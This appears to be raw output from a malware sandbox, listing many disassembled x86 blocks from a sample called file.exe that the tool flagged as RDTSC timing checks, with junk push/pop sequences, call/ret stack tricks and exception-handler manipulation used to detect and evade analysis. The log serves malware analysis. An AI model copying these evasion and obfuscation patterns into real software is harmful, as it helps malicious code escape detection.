Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE369 second address: FBE405 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F0A0CDBB9B6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F0A0CDBB9CEh 0x00000013 jmp 00007F0A0CDBB9C8h 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F0A0CDBB9B8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov ebx, dword ptr [ebp+122D3B39h] 0x00000039 push 00000000h 0x0000003b mov ebx, edx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F0A0CDBB9B8h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 00000014h 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 mov bx, A726h 0x0000005d xchg eax, esi 0x0000005e push ebx 0x0000005f jmp 00007F0A0CDBB9C5h 0x00000064 pop ebx 0x00000065 push eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007F0A0CDBB9B6h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD554 second address: FBD57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0A0CDE9D25h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD57B second address: FBD5E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov bh, dh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F0A0CDBB9B8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jbe 00007F0A0CDBB9BCh 0x0000003e mov ebx, dword ptr [ebp+122D39E9h] 0x00000044 mov eax, dword ptr [ebp+122D055Dh] 0x0000004a adc edi, 48A7BAF0h 0x00000050 push FFFFFFFFh 0x00000052 mov ebx, dword ptr [ebp+122D3A61h] 0x00000058 nop 0x00000059 pushad 0x0000005a jnp 00007F0A0CDBB9BCh 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD5E5 second address: FBD606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnc 00007F0A0CDE9D16h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0A0CDE9D1Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF4A6 second address: FBF4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF4AA second address: FBF4AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF4AE second address: FBF52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D37C2h], edx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F0A0CDBB9B8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov bh, 4Ah 0x0000002e mov dword ptr [ebp+122DBA04h], edi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F0A0CDBB9B8h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edi, 20996EBDh 0x00000055 pushad 0x00000056 add dword ptr [ebp+122D1ACCh], eax 0x0000005c sub dword ptr [ebp+1246F83Dh], edx 0x00000062 popad 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 pushad 0x00000068 popad 0x00000069 pushad 0x0000006a popad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC14C6 second address: FC152B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c clc 0x0000000d push 00000000h 0x0000000f jmp 00007F0A0CDE9D1Ah 0x00000014 mov dword ptr [ebp+12488A54h], edx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F0A0CDE9D18h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 xor dword ptr [ebp+122D2431h], ecx 0x0000003c xchg eax, esi 0x0000003d jg 00007F0A0CDE9D2Ch 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC063B second address: FC064A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F0A0CDBB9B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC064A second address: FC0657 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0657 second address: FC065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC249D second address: FC24B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1648 second address: FC164C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC164C second address: FC16DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 movsx edi, bx 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F0A0CDE9D18h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c call 00007F0A0CDE9D1Ah 0x00000031 cmc 0x00000032 pop edi 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a jmp 00007F0A0CDE9D1Ch 0x0000003f mov ebx, dword ptr [ebp+122D1AD6h] 0x00000045 mov eax, dword ptr [ebp+122D051Dh] 0x0000004b push 00000000h 0x0000004d push edx 0x0000004e call 00007F0A0CDE9D18h 0x00000053 pop edx 0x00000054 mov dword ptr [esp+04h], edx 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc edx 0x00000061 push edx 0x00000062 ret 0x00000063 pop edx 0x00000064 ret 0x00000065 push FFFFFFFFh 0x00000067 xor edi, dword ptr [ebp+124833C1h] 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jns 00007F0A0CDE9D1Ch 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4383 second address: FC43DD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0A0CDBB9BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D228Dh] 0x00000013 push 00000000h 0x00000015 mov di, bx 0x00000018 mov dword ptr [ebp+122D2E8Dh], edx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F0A0CDBB9B8h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a add bx, D984h 0x0000003f mov dword ptr [ebp+122D1D91h], esi 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 pushad 0x00000048 jbe 00007F0A0CDBB9B6h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2687 second address: FC2691 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC35D2 second address: FC35E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDBB9C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC56AD second address: FC56B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7471 second address: FC747B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0A0CDBB9BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6689 second address: FC668D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8331 second address: FC8335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8335 second address: FC8343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8343 second address: FC834D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7608 second address: FC7612 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7612 second address: FC76AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push ebx 0x0000000d mov dword ptr [ebp+122D37ADh], ecx 0x00000013 pop ebx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov ebx, ecx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 call 00007F0A0CDBB9C1h 0x00000029 or dword ptr [ebp+1245E0D4h], ecx 0x0000002f pop ebx 0x00000030 mov eax, dword ptr [ebp+122D0F4Dh] 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F0A0CDBB9B8h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 movsx edi, di 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push ebx 0x00000058 call 00007F0A0CDBB9B8h 0x0000005d pop ebx 0x0000005e mov dword ptr [esp+04h], ebx 0x00000062 add dword ptr [esp+04h], 00000014h 0x0000006a inc ebx 0x0000006b push ebx 0x0000006c ret 0x0000006d pop ebx 0x0000006e ret 0x0000006f push edx 0x00000070 mov edi, dword ptr [ebp+122D1D65h] 0x00000076 pop ebx 0x00000077 push eax 0x00000078 jc 00007F0A0CDBB9C0h 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8510 second address: FC8516 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8516 second address: FC851A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC961A second address: FC9621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDCC0 second address: FCDCC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDCC4 second address: FCDCCE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0A0CDE9D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDCCE second address: FCDCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0A0CDBB9BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDCE2 second address: FCDCE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDCE7 second address: FCDCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1741 second address: FD1751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1751 second address: FD1763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a js 00007F0A0CDBB9BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18A1 second address: FD18A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18A5 second address: FD18A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18A9 second address: FD18F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F0A0CDE9D27h 0x0000000c pop edi 0x0000000d pushad 0x0000000e jnl 00007F0A0CDE9D22h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0A0CDE9D24h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18F3 second address: FD18F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18F7 second address: FD18FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD18FB second address: FD191A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD191A second address: FD1922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1A63 second address: FD1A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1A69 second address: FD1A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1A76 second address: FD1A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1A7A second address: FD1A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D25h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6A2F second address: FD6A34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6B31 second address: FD6B64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c ja 00007F0A0CDE9D18h 0x00000012 jmp 00007F0A0CDE9D20h 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jnp 00007F0A0CDE9D18h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6B64 second address: FD6B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0A0CDBB9B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6B6E second address: FD6B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F0A0CDE9D16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6B91 second address: FD6B95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6B95 second address: FD6B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDE72 second address: FDDE7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F0A0CDBB9B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD17F second address: FDD19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD19B second address: FDD1A5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0A0CDBB9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD1A5 second address: FDD1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0A0CDE9D1Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDA33 second address: FDDA57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0A0CDBB9C9h 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDCDC second address: FDDCEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDCEC second address: FDDCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3DC0 second address: FE3DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3DCA second address: FE3DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F0A0CDBB9B8h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63E9F second address: F63EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEACAF second address: FEACB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD579 second address: F92313 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F0A0CDE9D16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D37C2h], edi 0x00000013 call dword ptr [ebp+122D18F9h] 0x00000019 jmp 00007F0A0CDE9D1Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD887 second address: FAD88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD979 second address: DEFD82 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0A0CDE9D2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F0A0CDE9D23h 0x00000012 je 00007F0A0CDE9D1Ch 0x00000018 mov dword ptr [ebp+122D3608h], edi 0x0000001e pop ecx 0x0000001f push dword ptr [ebp+122D1611h] 0x00000025 mov edx, dword ptr [ebp+122D2E6Bh] 0x0000002b call dword ptr [ebp+122D375Fh] 0x00000031 pushad 0x00000032 jp 00007F0A0CDE9D1Ch 0x00000038 xor eax, eax 0x0000003a jc 00007F0A0CDE9D1Ch 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 push edi 0x00000044 pop edi 0x00000045 popad 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a pushad 0x0000004b add ecx, dword ptr [ebp+122D3C6Dh] 0x00000051 pushad 0x00000052 mov dword ptr [ebp+122D249Fh], edx 0x00000058 popad 0x00000059 popad 0x0000005a mov dword ptr [ebp+122D39C5h], eax 0x00000060 mov dword ptr [ebp+122D2CFCh], edi 0x00000066 mov esi, 0000003Ch 0x0000006b je 00007F0A0CDE9D2Ah 0x00000071 jmp 00007F0A0CDE9D24h 0x00000076 add esi, dword ptr [esp+24h] 0x0000007a stc 0x0000007b lodsw 0x0000007d sub dword ptr [ebp+122D249Fh], ecx 0x00000083 add eax, dword ptr [esp+24h] 0x00000087 mov dword ptr [ebp+122D2CFCh], eax 0x0000008d mov dword ptr [ebp+122D249Fh], ecx 0x00000093 mov ebx, dword ptr [esp+24h] 0x00000097 mov dword ptr [ebp+122D2E96h], edi 0x0000009d nop 0x0000009e jnl 00007F0A0CDE9D1Ah 0x000000a4 push eax 0x000000a5 push eax 0x000000a6 push edx 0x000000a7 jmp 00007F0A0CDE9D25h 0x000000ac rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADA94 second address: FADA9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADA9A second address: FADA9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADEB1 second address: FADEE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007F0A0CDBB9C4h 0x00000011 nop 0x00000012 clc 0x00000013 push 00000004h 0x00000015 mov dword ptr [ebp+122D2498h], esi 0x0000001b nop 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F0A0CDBB9B6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADEE4 second address: FADEF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE278 second address: FAE27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
